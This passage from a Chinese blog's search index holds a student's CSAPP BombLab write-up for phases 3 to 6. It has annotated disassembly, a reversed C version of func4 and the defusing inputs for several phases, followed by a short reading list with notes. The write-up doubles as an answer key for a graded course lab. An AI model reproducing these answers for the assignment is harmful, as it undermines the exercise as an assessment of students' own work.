0x14(%rsp),%r8 # r8 = rsp + 20 占四个字节 第五个参数 a3 1664:\t48 8d 35 5e 1a 00 00 lea 0x1a5e(%rip),%rsi # 30c9 \u0026lt;_IO_stdin_used+0xc9\u0026gt; 这里的rsi是\u0026#34;%d %c %d\u0026#34; 166b:\te8 90 fc ff ff call 1300 \u0026lt;__isoc99_sscanf@plt\u0026gt; 1670:\t83 f8 02 cmp $0x2,%eax # sscanf的返回值是读取的参数的个数,若参数小于2错 1673:\t7e 20 jle 1695 \u0026lt;phase_3+0x58\u0026gt; 1675:\t83 7c 24 10 07 cmpl $0x7,0x10(%rsp) # a1大于7就爆炸 167a:\t0f 87 0a 01 00 00 ja 178a \u0026lt;phase_3+0x14d\u0026gt; 1680:\t8b 44 24 10 mov 0x10(%rsp),%eax # rax = a1(我们先假设a1 = 6) 1684:\t48 8d 15 55 1a 00 00 lea 0x1a55(%rip),%rdx # 30e0 \u0026lt;_IO_stdin_used+0xe0\u0026gt; rdx中加载了一个-68? 168b:\t48 63 04 82 movslq (%rdx,%rax,4),%rax # rax = 4 * rax + rdx 168f:\t48 01 d0 add %rdx,%rax # rax = rax + rdx(可能是跳表位置的计算？) 1692:\t3e ff e0 notrack jmp *%rax # 其作用是 跳转到 RAX 寄存器存储的地址，并且不记录 return address 到 影子调用栈（Shadow Stack 1695:\te8 2c 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 169a:\teb d9 jmp 1675 \u0026lt;phase_3+0x38\u0026gt; 169c:\tb8 77 00 00 00 mov $0x77,%eax 16a1:\t81 7c 24 14 a8 01 00 cmpl $0x1a8,0x14(%rsp) 16a8:\t00 16a9:\t0f 84 e5 00 00 00 je 1794 \u0026lt;phase_3+0x157\u0026gt; 16af:\te8 12 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 16b4:\tb8 77 00 00 00 mov $0x77,%eax 16b9:\te9 d6 00 00 00 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 16be:\tb8 70 00 00 00 mov $0x70,%eax 16c3:\t81 7c 24 14 bc 00 00 cmpl $0xbc,0x14(%rsp) 16ca:\t00 16cb:\t0f 84 c3 00 00 00 je 1794 \u0026lt;phase_3+0x157\u0026gt; 16d1:\te8 f0 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 16d6:\tb8 70 00 00 00 mov $0x70,%eax 16db:\te9 b4 00 00 00 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 16e0:\tb8 78 00 00 00 mov $0x78,%eax 16e5:\t81 7c 24 14 40 03 00 cmpl $0x340,0x14(%rsp) 16ec:\t00 16ed:\t0f 84 a1 00 00 00 je 1794 \u0026lt;phase_3+0x157\u0026gt; 16f3:\te8 ce 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 16f8:\tb8 78 00 00 00 mov $0x78,%eax 16fd:\te9 92 00 00 00 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 1702:\tb8 6e 00 00 00 mov $0x6e,%eax 1707:\t83 7c 24 14 39 cmpl $0x39,0x14(%rsp) 170c:\t0f 84 82 00 00 00 je 1794 \u0026lt;phase_3+0x157\u0026gt; 1712:\te8 af 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1717:\tb8 6e 00 00 00 mov $0x6e,%eax 171c:\teb 76 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 171e:\tb8 74 00 00 00 mov $0x74,%eax 1723:\t81 7c 24 14 c4 03 00 cmpl $0x3c4,0x14(%rsp) 172a:\t00 172b:\t74 67 je 1794 \u0026lt;phase_3+0x157\u0026gt; 172d:\te8 94 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1732:\tb8 74 00 00 00 mov $0x74,%eax 1737:\teb 5b jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 1739:\tb8 67 00 00 00 mov $0x67,%eax 173e:\t81 7c 24 14 95 03 00 cmpl $0x395,0x14(%rsp) 1745:\t00 1746:\t74 4c je 1794 \u0026lt;phase_3+0x157\u0026gt; 1748:\te8 79 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 174d:\tb8 67 00 00 00 mov $0x67,%eax 1752:\teb 40 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 1754:\tb8 71 00 00 00 mov $0x71,%eax # a1小于7会跳转到这里 eax = 71,这里已经重新赋值了 1759:\t81 7c 24 14 f2 01 00 cmpl $0x1f2,0x14(%rsp) # 看第三个参数的值,不等于498就爆炸 1760:\t00 1761:\t74 31 je 1794 \u0026lt;phase_3+0x157\u0026gt; 1763:\te8 5e 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1768:\tb8 71 00 00 00 mov $0x71,%eax 176d:\teb 25 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 176f:\tb8 6e 00 00 00 mov $0x6e,%eax 1774:\t81 7c 24 14 83 03 00 cmpl $0x383,0x14(%rsp) 177b:\t00 177c:\t74 16 je 1794 \u0026lt;phase_3+0x157\u0026gt; 177e:\te8 43 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1783:\tb8 6e 00 00 00 mov $0x6e,%eax 1788:\teb 0a jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 178a:\te8 37 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 178f:\tb8 6e 00 00 00 mov $0x6e,%eax 1794:\t38 44 24 0f cmp %al,0xf(%rsp) # 等于498的情况下来到这里,看输入的字符和al的值是否相等，查ASCII这里应该是G 1798:\t75 15 jne 17af \u0026lt;phase_3+0x172\u0026gt; # 不相等爆炸 179a:\t48 8b 44 24 18 mov 0x18(%rsp),%rax # 第二个是q，OK结束，完全不知道具体的switch但是能做 179f:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 17a6:\t00 00 17a8:\t75 0c jne 17b6 \u0026lt;phase_3+0x179\u0026gt; 17aa:\t48 83 c4 28 add $0x28,%rsp 17ae:\tc3 ret 17af:\te8 12 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 17b4:\teb e4 jmp 179a \u0026lt;phase_3+0x15d\u0026gt; 17b6:\te8 95 fa ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; phase4: # 关于递归函数？\n这是phase4中调用的方法：\n00000000000017bb \u0026lt;func4\u0026gt;: # 开始的参数 edi:a1(x1) esi:0(x2) edx:14(x3) 设返回值为x 17bb:\tf3 0f 1e fa endbr64 # 这应该是一个递归函数 17bf:\t53 push %rbx # 临时变量 (temp) 17c0:\t89 d0 mov %edx,%eax # x = x3 17c2:\t29 f0 sub %esi,%eax # x -= x2 17c4:\t89 c3 mov %eax,%ebx # temp = x 17c6:\tc1 eb 1f shr $0x1f,%ebx # 这里相当于是取了temp的符号 17c9:\t01 c3 add %eax,%ebx # temp += x 17cb:\td1 fb sar %ebx # temp /= 2(这里就是默认省略了1,愚蠢) 17cd:\t01 f3 add %esi,%ebx # temp += x2 17cf:\t39 fb cmp %edi,%ebx # 比较和x1相不相等 17d1:\t7f 06 jg 17d9 \u0026lt;func4+0x1e\u0026gt; # 如果大于\u0026gt; 17d3:\t7c 10 jl 17e5 \u0026lt;func4+0x2a\u0026gt; # 如果小于\u0026lt; 17d5:\t89 d8 mov %ebx,%eax # x = temp 17d7:\t5b pop %rbx 17d8:\tc3 ret 17d9:\t8d 53 ff lea -0x1(%rbx),%edx # 大于x1的情况 x3 = temp - 1 17dc:\te8 da ff ff ff call 17bb \u0026lt;func4\u0026gt; # 递归调用 17e1:\t01 c3 add %eax,%ebx # temp += x 17e3:\teb f0 jmp 17d5 \u0026lt;func4+0x1a\u0026gt; # 返回 17e5:\t8d 73 01 lea 0x1(%rbx),%esi # 小于的情况 x1 = temp + 1 17e8:\te8 ce ff ff ff call 17bb \u0026lt;func4\u0026gt; # 递归调用 17ed:\t01 c3 add %eax,%ebx # temp += x 17ef:\teb e4 jmp 17d5 \u0026lt;func4+0x1a\u0026gt; # 返回 00000000000017f1 \u0026lt;phase_4\u0026gt;: 17f1:\tf3 0f 1e fa endbr64 17f5:\t48 83 ec 18 sub $0x18,%rsp # 分配24个字节 17f9:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值 1800:\t00 00 1802:\t48 89 44 24 08 mov %rax,0x8(%rsp) # 把金丝雀值放到了stack上面 1807:\t31 c0 xor %eax,%eax 1809:\t48 8d 4c 24 04 lea 0x4(%rsp),%rcx # 栈上参数传递 第四个参数 4字节 a2 180e:\t48 89 e2 mov %rsp,%rdx # 第三个参数 4字节 a1 1811:\t48 8d 35 f0 1a 00 00 lea 0x1af0(%rip),%rsi # 参数格式：\u0026#34;%d %d\u0026#34; 1818:\te8 e3 fa ff ff call 1300 \u0026lt;__isoc99_sscanf@plt\u0026gt; 181d:\t83 f8 02 cmp $0x2,%eax # 是否读取正确 1820:\t75 06 jne 1828 \u0026lt;phase_4+0x37\u0026gt; # 不正确爆炸 1822:\t83 3c 24 0e cmpl $0xe,(%rsp) # a1 \u0026lt;= 14不然爆炸 1826:\t76 05 jbe 182d \u0026lt;phase_4+0x3c\u0026gt; 1828:\te8 99 04 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; # a1 \u0026lt;= 14跳到这里 这里大概是为调用f4做准备 182d:\tba 0e 00 00 00 mov $0xe,%edx # 第三个参数是14 1832:\tbe 00 00 00 00 mov $0x0,%esi # 第二个参数是0 1837:\t8b 3c 24 mov (%rsp),%edi # 第一个参数是a1 183a:\te8 7c ff ff ff call 17bb \u0026lt;func4\u0026gt; # 调用了f4,那就是说我们根据f4的逻辑来设置a1的输入 183f:\t83 f8 12 cmp $0x12,%eax # 将返回值和18作比较 1842:\t75 07 jne 184b \u0026lt;phase_4+0x5a\u0026gt; # 不相同就爆炸 1844:\t83 7c 24 04 12 cmpl $0x12,0x4(%rsp) # 把a2和18作比较 1849:\t74 05 je 1850 \u0026lt;phase_4+0x5f\u0026gt; # 不相同爆炸，相同结束 184b:\te8 76 04 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1850:\t48 8b 44 24 08 mov 0x8(%rsp),%rax 1855:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 185c:\t00 00 185e:\t75 05 jne 1865 \u0026lt;phase_4+0x74\u0026gt; 1860:\t48 83 c4 18 add $0x18,%rsp 1864:\tc3 ret 1865:\te8 e6 f9 ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; 我对于fun4做了逆向：\n#include\u0026lt;stdio.h\u0026gt; //手动逆向代码fun4 int fun4(int num1, int num2, int num3){ int x = num3 - num2; int temp = x; if(temp \u0026lt; 0){ ++temp; } temp /= 2; temp += num2; if(temp \u0026gt; num1){ //要注意调用完成之后获取的rax的使用（因为这里只调用但没有获取值浪费了很长时间） return fun4(num1, num2, temp - 1) + temp; }else if(temp \u0026lt; num1){ return fun4(num1, temp + 1, num3) + temp; }else{ return temp; } } //就是给一个输入，使得返回值为0x12 int main(){ int num1; //scanf(\u0026#34;%d\u0026#34;, \u0026amp;num1); //当输入11时，答案为18,也就是answer int value = fun4(11, 0, 0xe); printf(\u0026#34;%d\\n\u0026#34;, value); } phase5: # hint：我的输入和array之间的转换关系,也不是很难\nphase5:\n000000000000186a \u0026lt;phase_5\u0026gt;: 186a:\tf3 0f 1e fa endbr64 186e:\t53 push %rbx # 一个局部变量 186f:\t48 83 ec 10 sub $0x10,%rsp # 开了16字节空间 1873:\t48 89 fb mov %rdi,%rbx # 局部变量存放rdi,rdi就是字符串的首地址 1876:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值 187d:\t00 00 187f:\t48 89 44 24 08 mov %rax,0x8(%rsp) # 放在栈上，也就是说有8字节的可用空间 1884:\t31 c0 xor %eax,%eax # 校验 1886:\te8 06 03 00 00 call 1b91 \u0026lt;string_length\u0026gt; # 调用string_length,这里应该是rdi作为参数读入了一个string 188b:\t83 f8 06 cmp $0x6,%eax # 返回值和6比较，不相等爆炸，输入的字符串的长度要是6才可以 188e:\t75 55 jne 18e5 \u0026lt;phase_5+0x7b\u0026gt; 1890:\tb8 00 00 00 00 mov $0x0,%eax # eax = 0？下面大概是为strings_not_equal做准备，不相等爆炸 1895:\t48 8d 0d 64 18 00 00 lea 0x1864(%rip),%rcx # maduiersnfotvbylWow! You\u0026#39;ve defused the secret stage! 189c:\t0f b6 14 03 movzbl (%rbx,%rax,1),%edx # 就是我输入数字,从上面这个stirng中找值，构造一个rdi 18a0:\t83 e2 0f and $0xf,%edx 18a3:\t0f b6 14 11 movzbl (%rcx,%rdx,1),%edx 18a7:\t88 54 04 01 mov %dl,0x1(%rsp,%rax,1) 18ab:\t48 83 c0 01 add $0x1,%rax 18af:\t48 83 f8 06 cmp $0x6,%rax # rax就是一个index作为循环控制量 18b3:\t75 e7 jne 189c \u0026lt;phase_5+0x32\u0026gt; 18b5:\tc6 44 24 07 00 movb $0x0,0x7(%rsp) # 最后为我们构造的字符串添加了一个结束符号 18ba:\t48 8d 7c 24 01 lea 0x1(%rsp),%rdi 18bf:\t48 8d 35 0c 18 00 00 lea 0x180c(%rip),%rsi # *rsi = \u0026#34;bruins\u0026#34; 通过上面的操作，*rdi要等于\u0026#34;bruins\u0026#34;怎么操作？ 18c6:\te8 e7 02 00 00 call 1bb2 \u0026lt;strings_not_equal\u0026gt; # 意思就是两个字符串不相同就爆炸 18cb:\t85 c0 test %eax,%eax 18cd:\t75 1d jne 18ec \u0026lt;phase_5+0x82\u0026gt; 18cf:\t48 8b 44 24 08 mov 0x8(%rsp),%rax 18d4:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 18db:\t00 00 18dd:\t75 14 jne 18f3 \u0026lt;phase_5+0x89\u0026gt; 18df:\t48 83 c4 10 add $0x10,%rsp 18e3:\t5b pop %rbx 18e4:\tc3 ret 18e5:\te8 dc 03 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 18ea:\teb a4 jmp 1890 \u0026lt;phase_5+0x26\u0026gt; 18ec:\te8 d5 03 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 18f1:\teb dc jmp 18cf \u0026lt;phase_5+0x65\u0026gt; 18f3:\te8 58 f9 ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; 我们不必细究它调用的两个方法的具体实现了，就和函数名字一样。我输入的string是\u0026quot;M63487\u0026quot;,因为实际上会和0xf作与运算，所以每个字符都是可选的。\nphase6: # [!CAUTION]\n应该是最难的一层了，hint：链表，那就要用到结构体了吧。（做完：其实还好，只要你理解它在干什么。）\n00000000000018f8 \u0026lt;phase_6\u0026gt;: 18f8:\tf3 0f 1e fa endbr64 # 关于链表操作,最逆天的一层，孩子们 18fc:\t41 57 push %r15 # 6个局部变量,都是拿来干嘛的？？？ 18fe:\t41 56 push %r14 1900:\t41 55 push %r13 1902:\t41 54 push %r12 1904:\t55 push %rbp 1905:\t53 push %rbx 1906:\t48 83 ec 78 sub $0x78,%rsp # 分配120个bytes 190a:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值 1911:\t00 00 1913:\t48 89 44 24 68 mov %rax,0x68(%rsp) # 放到栈上，有104个bytes是可用的 1918:\t31 c0 xor %eax,%eax # 检测金丝雀值 191a:\t4c 8d 74 24 10 lea 0x10(%rsp),%r14 # 此时r14存放的是rsp + 16的地址 191f:\t4c 89 74 24 08 mov %r14,0x8(%rsp) # 把rsp + 16的地址放在rsp + 8的位置 1924:\t4c 89 f6 mov %r14,%rsi # 把rsp + 16的地址作为第二个参数 1927:\te8 f2 03 00 00 call 1d1e \u0026lt;read_six_numbers\u0026gt; # 读取了六个数字 rsp + 16 20 24 28 32 36放在这六个位置 192c:\t4d 89 f4 mov %r14,%r12 # r12中放 rsp + 16的地址 192f:\t41 bf 01 00 00 00 mov $0x1,%r15d # r15 = 1 1935:\t4d 89 f5 mov %r14,%r13 # r13中放 rsp + 16的地址 1938:\te9 c6 00 00 00 jmp 1a03 \u0026lt;phase_6+0x10b\u0026gt; # 跳转 193d:\te8 84 03 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1942:\te9 ce 00 00 00 jmp 1a15 \u0026lt;phase_6+0x11d\u0026gt; 1947:\t48 83 c3 01 add $0x1,%rbx # rbx刚刚为1,这里就是作为一个循环控制变量 ++index（第二层循环） 194b:\t83 fb 05 cmp $0x5,%ebx # 和5比较 194e:\t0f 8f a7 00 00 00 jg 19fb \u0026lt;phase_6+0x103\u0026gt; # 如果大于5跳转 1954:\t41 8b 44 9d 00 mov 0x0(%r13,%rbx,4),%eax # r15小于5的情况：eax中存放 *(rsp + 4 * index) 1959:\t39 45 00 cmp %eax,0x0(%rbp) # 和首元素做比较 195c:\t75 e9 jne 1947 \u0026lt;phase_6+0x4f\u0026gt; # 不相等跳转，相等直接爆炸 195e:\te8 63 03 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1963:\teb e2 jmp 1947 \u0026lt;phase_6+0x4f\u0026gt; 1965:\t48 8b 54 24 08 mov 0x8(%rsp),%rdx # 至此输入检查已经结束,rdx = rsp + 16（不要想错了，这里存放的值是rsp + 16） 196a:\t48 83 c2 18 add $0x18,%rdx # rdx = rsp + 36 196e:\tb9 07 00 00 00 mov $0x7,%ecx # rcx = 7 1973:\t89 c8 mov %ecx,%eax # eax = 7 1975:\t41 2b 04 24 sub (%r12),%eax # eax为7减去数组中的元素 1979:\t41 89 04 24 mov %eax,(%r12) # 再把这个减了之后的值加载回去 197d:\t49 83 c4 04 add $0x4,%r12 # 下一个数字 1981:\t4c 39 e2 cmp %r12,%rdx # 检查终止条件 1984:\t75 ed jne 1973 \u0026lt;phase_6+0x7b\u0026gt; 1986:\tbe 00 00 00 00 mov $0x0,%esi # 现在输入的每个数字都成了它对于7的补 rsi = 0，假设输入2 6 1 5 4 3 此时的值就是 5 1 6 2 3 4 rsi = 0 198b:\t8b 4c b4 10 mov 0x10(%rsp,%rsi,4),%ecx # rcx = *(rsp + 16 + 4 * rsi) 为数组的第一个值 198f:\tb8 01 00 00 00 mov $0x1,%eax # eax = 1 1994:\t48 8d 15 75 38 00 00 lea 0x3875(%rip),%rdx # gdb查看内存这里就是把一个链表的node1的地址加载给了rdx,尝试用gdb去查看链表的具体结构，大概就是结构体{value + key + nextAddress} 199b:\t83 f9 01 cmp $0x1,%ecx # rcx处的值和1比较 199e:\t7e 0b jle 19ab \u0026lt;phase_6+0xb3\u0026gt; # 小于等于1就跳转 19a0:\t48 8b 52 08 mov 0x8(%rdx),%rdx # rdx此时应该为节点指向的节点的地址 19a4:\t83 c0 01 add $0x1,%eax # ++eax 19a7:\t39 c8 cmp %ecx,%eax # rcx和 eax比较 19a9:\t75 f5 jne 19a0 \u0026lt;phase_6+0xa8\u0026gt; # 不相等跳转，直到数组的第一个值和链表第一个节点的值相等就跳转 19ab:\t48 89 54 f4 30 mov %rdx,0x30(%rsp,%rsi,8) # *(rsp + 48 + 8 * rsi) = rdx 把这个地址存放在stack上面 19b0:\t48 83 c6 01 add $0x1,%rsi # ++rsi 19b4:\t48 83 fe 06 cmp $0x6,%rsi # 循环终止条件 19b8:\t75 d1 jne 198b \u0026lt;phase_6+0x93\u0026gt; # 不相等继续 19ba:\t48 8b 5c 24 30 mov 0x30(%rsp),%rbx # 现在我们已经把按照输入数字顺序节点指向的地址放在了栈上（人话？）rbx为第一个地址 19bf:\t48 8b 44 24 38 mov 0x38(%rsp),%rax # rax是第二个地址 19c4:\t48 89 43 08 mov %rax,0x8(%rbx) # 以下就是把链表按照我们输入的顺序连接在一起，看不明白就画图 19c8:\t48 8b 54 24 40 mov 0x40(%rsp),%rdx 19cd:\t48 89 50 08 mov %rdx,0x8(%rax) 19d1:\t48 8b 44 24 48 mov 0x48(%rsp),%rax 19d6:\t48 89 42 08 mov %rax,0x8(%rdx) 19da:\t48 8b 54 24 50 mov 0x50(%rsp),%rdx 19df:\t48 89 50 08 mov %rdx,0x8(%rax) 19e3:\t48 8b 44 24 58 mov 0x58(%rsp),%rax 19e8:\t48 89 42 08 mov %rax,0x8(%rdx) 19ec:\t48 c7 40 08 00 00 00 movq $0x0,0x8(%rax) # 0就是null节点 19f3:\t00 19f4:\tbd 05 00 00 00 mov $0x5,%ebp # rbp = 5 19f9:\teb 35 jmp 1a30 \u0026lt;phase_6+0x138\u0026gt; # 连接完了之后跳转 19fb:\t49 83 c7 01 add $0x1,%r15 # 这是应该是第一层循环 19ff:\t49 83 c6 04 add $0x4,%r14 # 下一个 1a03:\t4c 89 f5 mov %r14,%rbp # 在成功读取六个数字之后跳转到这里，rbp存放rsp + 16地址（第一次） 1a06:\t41 8b 06 mov (%r14),%eax # 读取的第一个数字 1a09:\t83 e8 01 sub $0x1,%eax # 读取的数字-1 1a0c:\t83 f8 05 cmp $0x5,%eax # 和5作比较 1a0f:\t0f 87 28 ff ff ff ja 193d \u0026lt;phase_6+0x45\u0026gt; # 大于5爆炸（这意味着不能输入大于6的数字） 1a15:\t41 83 ff 05 cmp $0x5,%r15d # r15刚刚赋值为1,现在和5作比较 1a19:\t0f 8f 46 ff ff ff jg 1965 \u0026lt;phase_6+0x6d\u0026gt; # 大于5跳转（到这里为止，经过了一个类似于冒泡排序的比较，这意味着我们输入的数字不能有重复的也不能大于6） 1a1f:\t4c 89 fb mov %r15,%rbx # rbx = 1 1a22:\te9 2d ff ff ff jmp 1954 \u0026lt;phase_6+0x5c\u0026gt; 1a27:\t48 8b 5b 08 mov 0x8(%rbx),%rbx 1a2b:\t83 ed 01 sub $0x1,%ebp 1a2e:\t74 11 je 1a41 \u0026lt;phase_6+0x149\u0026gt;\t1a30:\t48 8b 43 08 mov 0x8(%rbx),%rax # 连接之后在这里 1a34:\t8b 00 mov (%rax),%eax 1a36:\t39 03 cmp %eax,(%rbx) 1a38:\t7d ed jge 1a27 \u0026lt;phase_6+0x12f\u0026gt;\t# 也就是说链表必须是递增还是递减的一个顺序？ 1a3a:\te8 87 02 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1a3f:\teb e6 jmp 1a27 \u0026lt;phase_6+0x12f\u0026gt; 1a41:\t48 8b 44 24 68 mov 0x68(%rsp),%rax 1a46:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 1a4d:\t00 00 1a4f:\t75 0f jne 1a60 \u0026lt;phase_6+0x168\u0026gt; 1a51:\t48 83 c4 78 add $0x78,%rsp 1a55:\t5b pop %rbx 1a56:\t5d pop %rbp 1a57:\t41 5c pop %r12 1a59:\t41 5d pop %r13 1a5b:\t41 5e pop %r14 1a5d:\t41 5f pop %r15 1a5f:\tc3 ret 1a60:\te8 eb f7 ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; 不容易，终于写完了。\n","date":"2025-03-09","externalUrl":null,"permalink":"/zh-cn/csapp/csappbomblab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eCSAPP:BombLab \n    \u003cdiv id=\"csappbomblab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csappbomblab\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!NOTE]\u003c/p\u003e\n\u003cp\u003e本文主要参考博客：arthals.ink，如果你要学习方法，你只要看TA写的就可以了，我只看了前两层，    只是做个记录，我认为对于我来说很好的解决问题方式就是写注释(所以我这里有逐行的注释)。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003egdb\u003cstrong\u003e指令\u003c/strong\u003e：\u003c/p\u003e","title":"CSAPP:BombLab","type":"csapp"},{"content":" \u0026ldquo;My Heart Is In The Work.\u0026rdquo; \u0026mdash;Andrew Carnegie\n","date":"2025-03-08","externalUrl":null,"permalink":"/zh-cn/tech/","section":"Tech","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;My Heart Is In The Work.\u0026rdquo; \t\u0026mdash;Andrew Carnegie\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e","title":"Tech","type":"tech"},{"content":" Reading # 可能会在这里放一些简单的读书笔记或者思考之类的，毫无疑问，我们欠缺阅读，而在上大学之前的“阅读”，我都很难称之为阅读，或许有一个更好的词语。\n读书是要进行简单的记录的，对于我们阅读的速度和质量都有较好的把控。\nName Author Type 《动物庄园》 George Orwell 童话小说 《1984》 George Orwell 科幻小说 《为了活下去》 朴研美 人物传记 《乡土中国》 费孝通 社会学 《呐喊》 鲁迅 短，中篇小说集 《房思琪的初恋乐园》 林奕含 长篇小说 《思考，快与慢》 דניאל כהנמן 经济学科普 《苏菲的世界》 Jostein Gaarder 哲学科普作品 《不确定性:人的行为》第六章 路德维希 冯 米塞斯 奥地利经济学派作品 ​\t苏菲的世界看了很长时间,很久没有认真阅读了,是很不错的科普作品,可以对西方哲学史有比较全面的了解,当然也比较粗略.\n​\t不确定性,人的行为,我认为这里对行为经济学的探讨就是在指导我们不要用一群人的行为的历史规律来指导自己未来的选择.\n​\t类的或然率,案由或然率,一个很简单的例子,在高考结束后我们经常会听到有人说自己 超常发挥 或者 失常发挥 之类的,这本身并不能成立,这个 常 指的是什么?\n你平时的模考成绩平均么?\n​\t怎样保证实际高考和模考在评测的意义上具有同等的效力?显然不行,仅有在那个时刻,那个地点产生的行为才是有效的,而再次之前,所有的类的或然率都不具有参考价值.\n如何才能证明超常或者失常发挥?\n​\t那就是取几百个平行宇宙,相同的时间,地点,你参加了高考,同样的结果做平均分,高于这个平均分就是超常,低于这个平均分就是失常,显然这是在扯淡.\n​\t这一章节只想告诉我们一件事情,就是历史规律在个体面前会失去它几乎所有的意义.\n","externalUrl":null,"permalink":"/zh-cn/reading/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eReading \n    \u003cdiv id=\"reading\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#reading\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e可能会在这里放一些简单的读书笔记或者思考之类的，毫无疑问，\u003cstrong\u003e我们欠缺阅读\u003c/strong\u003e，而在上大学之前的“阅读”，我都很难称之为阅读，或许有一个更好的词语。\u003c/p\u003e\n\u003cp\u003e读书是要进行简单的记录的，对于我们阅读的速度和质量都有较好的把控。\u003c/p\u003e\u003c/blockquote\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003eName\u003c/th\u003e\n          \u003cth\u003eAuthor\u003c/th\u003e\n          \u003cth\u003eType\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《动物庄园》\u003c/td\u003e\n          \u003ctd\u003eGeorge Orwell\u003c/td\u003e\n          \u003ctd\u003e童话小说\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《1984》\u003c/td\u003e\n          \u003ctd\u003eGeorge Orwell\u003c/td\u003e\n          \u003ctd\u003e科幻小说\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《为了活下去》\u003c/td\u003e\n          \u003ctd\u003e朴研美\u003c/td\u003e\n          \u003ctd\u003e人物传记\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《乡土中国》\u003c/td\u003e\n          \u003ctd\u003e费孝通\u003c/td\u003e\n          \u003ctd\u003e社会学\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《呐喊》\u003c/td\u003e\n          \u003ctd\u003e鲁迅\u003c/td\u003e\n          \u003ctd\u003e短，中篇小说集\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《房思琪的初恋乐园》\u003c/td\u003e\n          \u003ctd\u003e林奕含\u003c/td\u003e\n          \u003ctd\u003e长篇小说\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《思考，快与慢》\u003c/td\u003e\n          \u003ctd\u003eדניאל כהנמן\u003c/td\u003e\n          \u003ctd\u003e经济学科普\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《苏菲的世界》\u003c/td\u003e\n          \u003ctd\u003eJostein Gaarder\u003c/td\u003e\n          \u003ctd\u003e哲学科普作品\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e《不确定性:人的行为》第六章\u003c/td\u003e\n          \u003ctd\u003e路德维希 冯 米塞斯\u003c/td\u003e\n          \u003ctd\u003e奥地利经济学派作品\u003c/td\u003e\n      \u003c/tr\u003e\n  